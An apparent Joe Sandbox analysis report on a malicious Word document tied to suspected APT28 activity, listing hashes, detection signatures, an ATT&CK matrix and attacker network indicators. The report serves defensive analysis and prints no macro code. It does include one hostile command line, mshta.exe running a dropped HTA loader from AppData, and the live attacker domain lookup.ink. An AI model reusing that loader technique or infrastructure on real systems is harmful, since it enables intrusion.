Edit tour
Windows
Analysis Report
RoYAd85faz.doc
Overview
General Information
| Sample name: | RoYAd85faz.docrenamed because original name is a hash value |
| Original sample name: | ab5685ebf439f61c554977df1e1cd0c3.doc |
| Analysis ID: | 1590274 |
| MD5: | ab5685ebf439f61c554977df1e1cd0c3 |
| SHA1: | 715724904dfb62a68887fa3d2d6d391b32cbd7b1 |
| SHA256: | fd78051817b5e2375c92d14588f9a4ba1adc92cc1564e55e6150ae350ed6c889 |
| Tags: | docUAC-0063user-smica83 |
| Infos: |  |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
AI detected landing page (webpage, office document or email)
Document contains an embedded VBA macro which accesses itself as a binary file (likely for evasion)
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)
Machine Learning detection for dropped file
Machine Learning detection for sample
Office process queries suspicious COM object (likely to drop second stage)
Detected non-DNS traffic on DNS port
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains an embedded VBA which reads its own file name (might be used to evade sandboxes)
Document contains embedded VBA macros
Internet Provider seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Yara signature match
Classification
- System is w11x64_office
WINWORD.EXE (PID: 7920 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Root\ Office16\W INWORD.EXE " /Automat ion -Embed ding MD5: A9F0EC89897AC6C878D217DFB64CA752)
- WINWORD.EXE (PID: 7680 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Root\ Office16\W INWORD.EXE " /Automat ion -Embed ding MD5: A9F0EC89897AC6C878D217DFB64CA752)
mshta.exe (PID: 5828 cmdline: "C:\Window s\System32 \mshta.exe " C:\Users \user\AppD ata\Local\ Lookup\Dis patch MD5: 36D15DDE6D71802D9588CC0D48EDF8EA)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| apt_susp_apt28_uac0063_malicious_doc_settings_xml | Detects some suspected APT28 document settings.xml | Sekoia.io |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| apt_susp_apt28_uac0063_hta_loader | Detects some suspected APT28 HTA loader | Sekoia.io |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| apt_susp_apt28_uac0063_hta_loader | Detects some suspected APT28 HTA loader | Sekoia.io |
| |
| apt_susp_apt28_uac0063_hta_loader | Detects some suspected APT28 HTA loader | Sekoia.io |
|
⊘No Sigma rule has matched
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-01-13T21:38:36.141852+0100 | 2057742 | 1 | A Network Trojan was detected | 104.21.84.174 | 80 | 192.168.2.26 | 49712 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | Avira: | ||
| Source: | Virustotal: | Perma Link | ||
| Source: | ReversingLabs: | |||
| Source: | Joe Sandbox ML: | ||
| Source: | Joe Sandbox ML: | ||
| Source: | Joe Sandbox ML: | ||
Phishing | |
|---|
| Source: | Joe Sandbox AI: | ||
| Source: | Joe Sandbox AI: | ||
| Source: | Joe Sandbox AI: | ||
| Source: | Joe Sandbox AI: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | DNS query: | ||
| Source: | DNS query: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
Networking | |
|---|
| Source: | Suricata IDS: | ||
| Source: | TCP traffic: | ||
| Source: | ASN Name: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
System Summary | |
|---|
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro: | Name: documeNt_opEn | ||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro: | ||
| Source: | COM Object queried: | Jump to behavior | ||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro: | Name: documeNt_opEn | ||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE, VBA macro line: | |||
| Source: | OLE indicator, VBA macros: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | OLE indicator, Word Document stream: | ||
| Source: | OLE indicator, Word Document stream: | ||
| Source: | OLE indicator, Word Document stream: | ||
| Source: | OLE indicator, Word Document stream: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | OLE document summary: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Virustotal: | ||
| Source: | ReversingLabs: | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Window found: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
Malware Analysis System Evasion | |
|---|
| Source: | OLE, VBA macro: | Name: kokokokoko | ||
| Source: | Stream path 'VBA/ThisDocument' : | |||
| Source: | OLE, VBA macro: | Name: documeNt_opEn | ||
| Source: | Stream path 'VBA/ThisDocument' : | |||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Process information queried: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | 42 Scripting | Valid Accounts | 2 Exploitation for Client Execution | 1 Browser Extensions | 1 Process Injection | 1 Masquerading | OS Credential Dumping | 11 Security Software Discovery | Remote Services | 1 Email Collection | 1 Non-Application Layer Protocol | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | 42 Scripting | 1 DLL Side-Loading | 1 Process Injection | LSASS Memory | 1 Process Discovery | Remote Desktop Protocol | Data from Removable Media | 1 Application Layer Protocol | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | 1 DLL Side-Loading | Logon Script (Windows) | 1 DLL Side-Loading | Security Account Manager | 1 File and Directory Discovery | SMB/Windows Admin Shares | Data from Network Shared Drive | Steganography | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | Binary Padding | NTDS | 4 System Information Discovery | Distributed Component Object Model | Input Capture | Protocol Impersonation | Traffic Duplication | Data Destruction |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 44% | Virustotal | Browse | ||
| 34% | ReversingLabs | Script-Macro.Trojan.MacrosBomber | ||
| 100% | Avira | W2000M/AVI.Obfuscated.ldxun | ||
| 100% | Joe Sandbox ML |
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 100% | Joe Sandbox ML | |||
| 100% | Joe Sandbox ML |
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| bg.microsoft.map.fastly.net | 199.232.210.172 | true | false | high | |
| lookup.ink | 104.21.84.174 | true | true | unknown | |
| browser.events.data.msn.cn | unknown | unknown | false | high |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | unknown | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 104.21.84.174 | lookup.ink | United States | 13335 | CLOUDFLARENETUS | true |
| Joe Sandbox version: | 42.0.0 Malachite |
| Analysis ID: | 1590274 |
| Start date and time: | 2025-01-13 21:33:57 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 5m 41s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | defaultwindowsofficecookbook.jbs |
| Analysis system description: | Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09 |
| Run name: | Potential for more IOCs and behavior |
| Number of analysed new started processes analysed: | 19 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | RoYAd85faz.docrenamed because original name is a hash value |
| Original Sample Name: | ab5685ebf439f61c554977df1e1cd0c3.doc |
| Detection: | MAL |
| Classification: | mal100.expl.evad.winDOC@5/12@2/1 |
| EGA Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, SecurityHealthHost.exe, dllhost.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, appidcertstorecheck.exe, conhost.exe, svchost.exe
- Excluded IPs from analysis (whitelisted): 52.109.28.46, 52.109.76.144, 52.113.194.132, 20.189.173.3, 95.100.110.74, 95.100.110.77, 2.20.245.216, 2.20.245.225, 2.23.240.50, 52.109.68.129, 52.109.32.39, 52.109.32.38, 52.109.32.46, 52.109.32.47, 52.111.236.35, 52.111.236.34, 52.111.236.32, 52.111.236.33, 52.182.143.215, 40.126.32.72, 20.109.210.53, 40.126.24.83
